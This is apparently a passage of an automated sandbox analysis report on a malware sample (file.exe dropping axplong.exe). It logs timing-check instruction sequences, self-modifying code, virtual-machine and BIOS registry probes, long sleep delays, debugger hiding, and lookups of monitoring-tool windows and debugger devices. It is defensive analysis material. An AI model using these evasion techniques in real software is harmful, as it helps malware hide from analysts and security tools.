Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90D97 second address: 4B90D9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90D9D second address: 4B90DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B400CE second address: 4B40132 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F488D0453FFh 0x00000009 add ax, E5CEh 0x0000000e jmp 00007F488D045409h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 jmp 00007F488D0453FAh 0x0000001e mov ecx, 3C393CE1h 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 pushad 0x00000026 mov ax, A719h 0x0000002a push eax 0x0000002b push edx 0x0000002c call 00007F488D045404h 0x00000031 pop ecx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA024E second address: 4BA02AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c jmp 00007F488C756CFEh 0x00000011 push dword ptr [ebp+08h] 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F488C756CFEh 0x0000001b jmp 00007F488C756D05h 0x00000020 popfd 0x00000021 push eax 0x00000022 push edx 0x00000023 mov di, ax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA02AA second address: 4BA036A instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 call 00007F488D0453F9h 0x0000000d jmp 00007F488D045405h 0x00000012 push eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F488D045407h 0x0000001a jmp 00007F488D045403h 0x0000001f popfd 0x00000020 mov eax, 681C859Fh 0x00000025 popad 0x00000026 mov eax, dword ptr [esp+04h] 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F488D0453FBh 0x00000031 adc ah, FFFFFFEEh 0x00000034 jmp 00007F488D045409h 0x00000039 popfd 0x0000003a jmp 00007F488D045400h 0x0000003f popad 0x00000040 mov eax, dword ptr [eax] 0x00000042 jmp 00007F488D0453FBh 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F488D045404h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA036A second address: 4BA03AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756CFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edx, 54CBE036h 0x00000012 pushfd 0x00000013 jmp 00007F488C756D07h 0x00000018 jmp 00007F488C756D03h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA03AF second address: 4BA03B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719221 second address: 719248 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007F488C756CF6h 0x00000014 popad 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50450 second address: 4B504B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F488D045408h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F488D0453FBh 0x0000000f adc al, 0000000Eh 0x00000012 jmp 00007F488D045409h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c jmp 00007F488D0453FEh 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F488D0453FEh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B504B8 second address: 4B504BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B504BE second address: 4B504C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B504C2 second address: 4B504D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B504D1 second address: 4B504D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B504D7 second address: 4B5050F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F488C756D03h 0x00000009 and ax, 132Eh 0x0000000e jmp 00007F488C756D09h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5050F second address: 4B5052D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F488D045403h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5052D second address: 4B505D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b pushad 0x0000000c mov eax, 0CDA0223h 0x00000011 pushfd 0x00000012 jmp 00007F488C756D08h 0x00000017 xor cx, 3D68h 0x0000001c jmp 00007F488C756CFBh 0x00000021 popfd 0x00000022 popad 0x00000023 push 3EBB23A1h 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F488C756D05h 0x0000002f xor eax, 3EE75F86h 0x00000035 jmp 00007F488C756D01h 0x0000003a popfd 0x0000003b mov edi, esi 0x0000003d popad 0x0000003e xor dword ptr [esp], 4842E3B9h 0x00000045 jmp 00007F488C756CFAh 0x0000004a push 1777A5B5h 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B505D0 second address: 4B505D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B505D4 second address: 4B505DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B505DA second address: 4B505EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F488D045400h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B505EE second address: 4B5065F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756CFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 5F79084Bh 0x00000012 jmp 00007F488C756D06h 0x00000017 mov eax, dword ptr fs:[00000000h] 0x0000001d jmp 00007F488C756D00h 0x00000022 nop 0x00000023 pushad 0x00000024 mov bh, ah 0x00000026 mov dx, BE2Eh 0x0000002a popad 0x0000002b push eax 0x0000002c jmp 00007F488C756D04h 0x00000031 nop 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F488C756CFAh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5065F second address: 4B50663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50663 second address: 4B50669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50669 second address: 4B5066F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5066F second address: 4B50673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50673 second address: 4B5072F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 1Ch 0x0000000b pushad 0x0000000c call 00007F488D045402h 0x00000011 mov bl, ch 0x00000013 pop ebx 0x00000014 call 00007F488D0453FCh 0x00000019 pushfd 0x0000001a jmp 00007F488D045402h 0x0000001f sub cx, 1068h 0x00000024 jmp 00007F488D0453FBh 0x00000029 popfd 0x0000002a pop esi 0x0000002b popad 0x0000002c push eax 0x0000002d jmp 00007F488D045404h 0x00000032 mov dword ptr [esp], ebx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F488D0453FEh 0x0000003c sbb eax, 16538DF8h 0x00000042 jmp 00007F488D0453FBh 0x00000047 popfd 0x00000048 pushad 0x00000049 mov edi, esi 0x0000004b jmp 00007F488D045402h 0x00000050 popad 0x00000051 popad 0x00000052 xchg eax, esi 0x00000053 jmp 00007F488D045400h 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c mov ecx, ebx 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5072F second address: 4B50735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50735 second address: 4B50739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50739 second address: 4B5073D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5073D second address: 4B5074B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5074B second address: 4B5077E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F488C756D05h 0x0000000a add eax, 5E460556h 0x00000010 jmp 00007F488C756D01h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5077E second address: 4B507C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 pushfd 0x00000007 jmp 00007F488D045408h 0x0000000c adc si, 4EA8h 0x00000011 jmp 00007F488D0453FBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F488D045405h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B507C9 second address: 4B50868 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F488C756D01h 0x0000000f xchg eax, edi 0x00000010 jmp 00007F488C756CFEh 0x00000015 mov eax, dword ptr [76FBB370h] 0x0000001a pushad 0x0000001b call 00007F488C756CFEh 0x00000020 pushad 0x00000021 popad 0x00000022 pop ecx 0x00000023 pushad 0x00000024 mov cx, dx 0x00000027 jmp 00007F488C756D03h 0x0000002c popad 0x0000002d popad 0x0000002e xor dword ptr [ebp-08h], eax 0x00000031 jmp 00007F488C756D06h 0x00000036 xor eax, ebp 0x00000038 pushad 0x00000039 mov dx, 7D22h 0x0000003d mov bx, 496Eh 0x00000041 popad 0x00000042 push esi 0x00000043 pushad 0x00000044 mov ecx, 1C5ADA07h 0x00000049 push eax 0x0000004a push edx 0x0000004b call 00007F488C756CFAh 0x00000050 pop eax 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50868 second address: 4B508E7 instructions: 0x00000000 rdtsc 0x00000002 mov dx, 1EF6h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007F488D0453FDh 0x00000011 lea eax, dword ptr [ebp-10h] 0x00000014 jmp 00007F488D0453FEh 0x00000019 mov dword ptr fs:[00000000h], eax 0x0000001f pushad 0x00000020 movzx eax, dx 0x00000023 mov dx, 142Eh 0x00000027 popad 0x00000028 mov esi, dword ptr [ebp+08h] 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F488D0453FBh 0x00000032 and ah, FFFFFFDEh 0x00000035 jmp 00007F488D045409h 0x0000003a popfd 0x0000003b popad 0x0000003c mov eax, dword ptr [esi+10h] 0x0000003f jmp 00007F488D0453FDh 0x00000044 test eax, eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B508E7 second address: 4B508ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B508ED second address: 4B508F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B508F3 second address: 4B508F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B508F7 second address: 4B5092D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F48FF3B481Bh 0x0000000e jmp 00007F488D045408h 0x00000013 sub eax, eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F488D0453FCh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5092D second address: 4B50933 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50933 second address: 4B50937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50937 second address: 4B50963 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756CFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-20h], eax 0x0000000e jmp 00007F488C756CFEh 0x00000013 mov ebx, dword ptr [esi] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov eax, ebx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50963 second address: 4B5099D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D045405h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-24h], ebx 0x0000000c jmp 00007F488D0453FEh 0x00000011 test ebx, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F488D0453FAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5099D second address: 4B509A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B509A1 second address: 4B509A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B509A7 second address: 4B509AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B509AD second address: 4B509B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B509B1 second address: 4B509B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B509B5 second address: 4B509CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F48FF3B46B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov dh, 52h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40ECD second address: 4B40F4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F488C756D07h 0x00000008 push eax 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f jmp 00007F488C756D02h 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F488C756CFDh 0x0000001e or ecx, 27BA61E6h 0x00000024 jmp 00007F488C756D01h 0x00000029 popfd 0x0000002a pushfd 0x0000002b jmp 00007F488C756D00h 0x00000030 xor ah, FFFFFF88h 0x00000033 jmp 00007F488C756CFBh 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 31EB3D second address: 31EB47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F488D0453F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 31EB47 second address: 31EB4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 4946FB second address: 494716 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D045407h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 494DD9 second address: 494DDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 494DDF second address: 494DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 56EBC1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 71010B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 70E87D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 56C3DE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 738A4E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 71DE6D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 56EB09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 31EBC1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 4C010B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 4BE87D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 31C3DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 4E8A4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 4CDE6D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 31EB09 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04BA02BB rdtsc

0_2_04BA02BB

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1240	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 435	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1191	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3152	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4136	Thread sleep count: 1240 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4136	Thread sleep time: -2481240s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2108	Thread sleep count: 435 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2108	Thread sleep time: -13050000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4812	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2020	Thread sleep count: 1191 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2020	Thread sleep time: -2383191s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: axplong.exe, axplong.exe, 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: axplong.exe, 00000006.00000002.2980255678.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: file.exe, 00000000.00000002.1767968117.00000000006ED000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000001.00000002.1796063216.000000000049D000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000002.00000002.1799827982.000000000049D000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04BA0816 Start: 04BA0B14 End: 04BA082D

0_2_04BA0816

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
